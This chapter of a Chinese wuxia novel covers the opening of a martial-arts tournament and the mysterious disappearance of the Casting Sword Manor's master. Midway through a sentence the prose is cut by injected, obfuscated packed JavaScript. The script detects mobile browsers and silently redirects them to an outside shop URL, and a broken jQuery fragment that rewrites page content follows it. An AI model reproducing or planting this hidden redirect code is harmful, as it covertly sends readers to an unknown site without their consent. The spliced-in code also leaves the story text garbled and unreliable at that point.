今日的天气甚好,只是这烈日将这地面烤得火热,让练武场内的人感受到了灼烧之感。
许多门派弟子见到武林大会启动仪式还没有开始,叽叽喳喳地讨论了起来。
去而又返的家仆偷偷地同傅妍妤传话道:“大小姐,整个山庄都找了,还不见庄主踪迹。”
闻言,傅妍妤面色凝重地转头环视高台之下,见到各门派的弟子们早已暗自交谈、烦躁不耐的模样。她索性直接让傅琰走上擂台,去举行启动仪式。
只见傅琰大步踏上擂台,先是双手抱拳,向周围众人行了一圈大礼,声音清朗地说道:“诸位武林同道!今日原本是由我师父傅知行主持这三年一次的武林盛会,但因他老人家今日身体有些不适,不便出来,故命我主持武林大会启动仪式。此次大会,旨在切磋武艺、以武会友,望诸位能在擂台之上点到为止,勿伤他人性命。铸剑山庄这次将会献出龙吟剑出来当做大会彩头,此外还有神医谷的天龙骨以及明月庄的清心秘籍。”
“难得!头一次见傅大哥说这么长段的话。”姜梨就在站在擂台旁边不远处的位置,清晰地听到了傅琰说的内容,知道凌风长年在江湖中行走,颇为好奇地问道:“凌风,傅大哥所说的那三件奖品是什么来头?”
“龙吟剑通体铸有黑色菱形暗纹,剑格镶嵌蓝色琉璃与绿松石花纹。它削铁如泥,可吹毛短发,用时发出阵阵龙吟之声,能在打斗中扰乱敌人心性。相传开国君王就是用着这把剑将天下给打下来的。”凌风娓娓说道。
“若是君王所用之剑,怎么流落到江湖之中?”姜梨提出疑惑之处,看向凌风。
“听说,建造铸剑山庄的鼻祖是跟随开国君王打天下的大将。待天下平定之后,他主动请辞,游历于江湖。开国君王为顾念其追随打江山的功绩,便将龙吟剑赐给了那庄主,”凌风将自己在江湖上打听到的消息,一字不落地说了出来。
“原来如此!”姜梨没有想到傅妍妤的祖上竟是开国大将,如今听说颇为意外:“天龙骨,我知道。听说它可以止血生肌,外伤圣药。不过那清心秘籍又有何特别之处?”
“清心秘籍是明月庄的一门内功心法。它可调节阴阳,减除杂念,不易走火入魔。”凌风怕姜梨没有听明白,特意解释:“练武之人修炼内功之时,杂念易生,若不能及时定心安神,便极易走火入魔。”
“这么说来,这几样东西对练武之人颇为重要。”姜梨看了看四周的人群,感叹道:“怪不得,这么多武林人士来参加这武林大会。”
“其实这些彩头并不是吸引这些门派参加的主要原因。”叶乾在旁说道。
“哦?”姜梨转头看向叶乾,眼中流露出困惑之意:“表哥,那他们参加是为了什么?”
“武林令!”叶乾解释道:“其实每一届武林比武大会就是武林各门派在重新洗牌,哪家弟子能胜出成为魁首,其所在的门派就能得到武林令,拥有它,门派掌门就可以调遣各大门派,主持武林事务。上一届就是铸剑山庄取得魁首,拿了武林令。”
“武林令,这听得十分神气的模样啊!”姜梨眼珠一转,声音激动地提议道:“表哥,快让凌风上去比试。”
“你以为什么人都可以参加?”叶乾食指一弯,在姜梨洁白光溜的额头上敲了一榔锤,只听姜梨喊了声“哎呦!”
之后,他才继续解释:“参加武林大会的武者,必须得是江湖上有门有派的弟子。”
“没想到这武林比试竟还会有门第之见!”姜梨不禁地说出自己的想法。
擂台之上的傅琰说完那段开场话,抬头看了眼高台之上的炉鼎之中的更香,拿起身旁锣鼓木架上的木锤,“咚!”敲响了铜锣,大声宣布:“时间已到,武林大会比武,正式开始!”
随着清脆的鼓声响起,铸剑山庄的弟子们迅速地将第一场对战门派的信息贴在练武场的公示栏上,并派人到相应门派里通知。
接下来,武林大会井然有序地比试到日落时分,傅庄主却整日未曾出来露过面,铸剑山庄内负责寻找的弟子们无一人找到傅知行的踪迹。
夜深,正一堂灯火通明。堂内只有傅妍妤、傅琰、叶乾、姜梨及凌风五人在内,大门紧闭。
“我父亲失踪了!”傅妍妤对着几人毫不隐瞒,目光直接地看向叶乾,补充道:“叶公子,你是我父亲失踪前所见的最后一人。”
“阿妤,你该不会怀疑傅庄主的失踪同我表哥有关系吧!”姜梨头一次从傅妍妤脸上看到这般严肃的神情,担忧地问道。
傅妍妤并没有回答,而是直截了当地说出想法:“叶公子,我想知道昨日夜里我父亲与你独处时说了什么?”
“昨夜在你走后,师父将书房外侍候的下人都遣走,独自待在书房。直到清晨,打扫的下人去书房时听到师父叫她迟些时间再来书房打扫,之后山庄内便没有人再见过师父了。”傅琰补充地解释道。
“我与傅庄主之间起初就是在闲谈桃源酒庄那件事,聊着聊着就聊到太极图。听傅庄主的语气,好像是他知道太极图在何处。”叶乾故意将傅庄主知道他真实身份的事情给隐瞒了下来,只说出了太极图的部分。
“我从未听过父亲提及过太极图,而且太极图不是应该在灭桃源酒庄之人手中嘛?”傅妍妤此时面露担忧,声音中充满疑惑地自语:“难道父亲知道桃源酒庄放火之人是何人?”
“也许是傅庄主查到了桃源酒庄那场灭门火灾的线索。”姜梨在旁猜测道。
“要是师父查到线索,不可能自己贸贸然地独自追拿凶手。”傅琰坚定地否决了姜梨的猜想,并解释道:“师父前段时间为了练就更高一层的内功心法时走火入魔,伤了经脉。他前几日还同我说等武林大会结束之后要闭关修炼几个月。”
“父亲练功经脉受损,他为何没有同我说过?”傅妍妤现在才知道傅知行练功伤了经脉,目光茫然中带着懊丧看向傅琰。
“师父,不想你担心!”傅琰宽慰道。
“要是这般情况,傅庄主应当不会自己离开铸剑山庄,再加上今天本就是原定好的武林大会启动仪式。现如今突然失踪,只能说明有人突然将他带走了。以傅庄主
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17610507|205918||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
的武功,若是他人强行将其掳走,必然不会这般悄无声息。”
叶乾没有将傅知行暗地里设计布局夺太极图的事情说出来,而是根据现有的信息推断道:“如此看来,应当是傅庄主自愿跟着他人离开。不知,傅庄主是否留下过什么信件交代?”
“叶公子的推断没错,我同师兄两人搜查过书房,房间内确实没有发现任何打斗的痕迹。”傅妍妤对着叶乾露出欣赏的目光,随后语气凝重地继续道:“只是也没有发现父亲留下什么书信。”
“傅庄主的离去实在蹊跷。”叶乾眼神思索着看向傅妍妤及傅琰两人说道:“如今我们先要查清楚傅庄主到底是因何人因何事,不顾武林大会贸然离开铸剑山庄?”
“如今父亲失踪一事,只有我们五人及山庄内部分家仆知道。”傅妍妤神色凝重,语气透着严肃请求道:“还望你们三人先不要将此时说出去,武林大会还需照常举行。”
“阿妤,你放心!我们对此事必会守口如瓶。”姜梨说完圆溜溜的眼睛瞪得大大的,将双手食指放在唇边画个“×”字。
……
每一届的武林大会都是连办三日,第一日需要在二十个门派中淘汰掉一半,第二日则是在剩下的门派之中再淘汰一半,第三日剩余的四个门派先两两对战,待最后两个门派弟子胜出,再进行魁首之争。每个门派只能派出两名弟子参加,两名弟子全部战败,即门派淘汰。
凡是上一届胜出的门派要轮候两届,才可再进场比试。铸剑山庄是上一届的魁首,这次便不能派出弟子再参赛。
因此,傅妍妤及傅琰两人只要安排好山庄弟子去维护好武林大会的比试秩序,以及确保比试期间不出乱子即可。
傅琰白日需要在练武场关注比试,以免武林各派人士察觉出异样。所以只有傅妍妤一人带着叶乾几人找寻傅知行的线索。
应叶乾的要求,傅妍妤带着叶乾、姜梨及凌风来到傅庄主的书房。
在得知傅庄主失踪后,傅妍妤便立即朝管家吩咐下去,不许负责书房打扫的丫鬟再进房打扫。
故而,书房内的一切都与傅庄主失踪前那夜一模一样,任何东西都没有被挪动。
叶乾仔细查看傅庄主的书桌,砚台、笔架、水盂、镇纸、宣纸依次摆放得整齐。
桌面右下角处还有一摞书,叶乾拿起来随意翻了翻,发现这几本书全都是有关书画方面,没有想到傅庄主平日是个喜爱丹青之人。
见到书桌处没有发现什么线索,他便又将注意转到桌子旁边的花梨木亮格柜。
柜子上摆放的大多数都是书籍,叶乾一眼扫过,柜子上的书都是有关铸剑书籍及兵器鉴赏类。
叶乾觉得甚是奇怪,暗自思忖:“傅庄主要是个爱好丹青之人,整个书柜里面怎么会连一本关于书画方面的书,除了书桌上的那几本书画书籍。”
他抬眼看了看书房的四周,不见一副书画挂件。
“咦!”姜梨则是一进门便朝着窗户处去了,发现朝南面的那处窗框有发现,不由得惊呼道:“这里有东西!”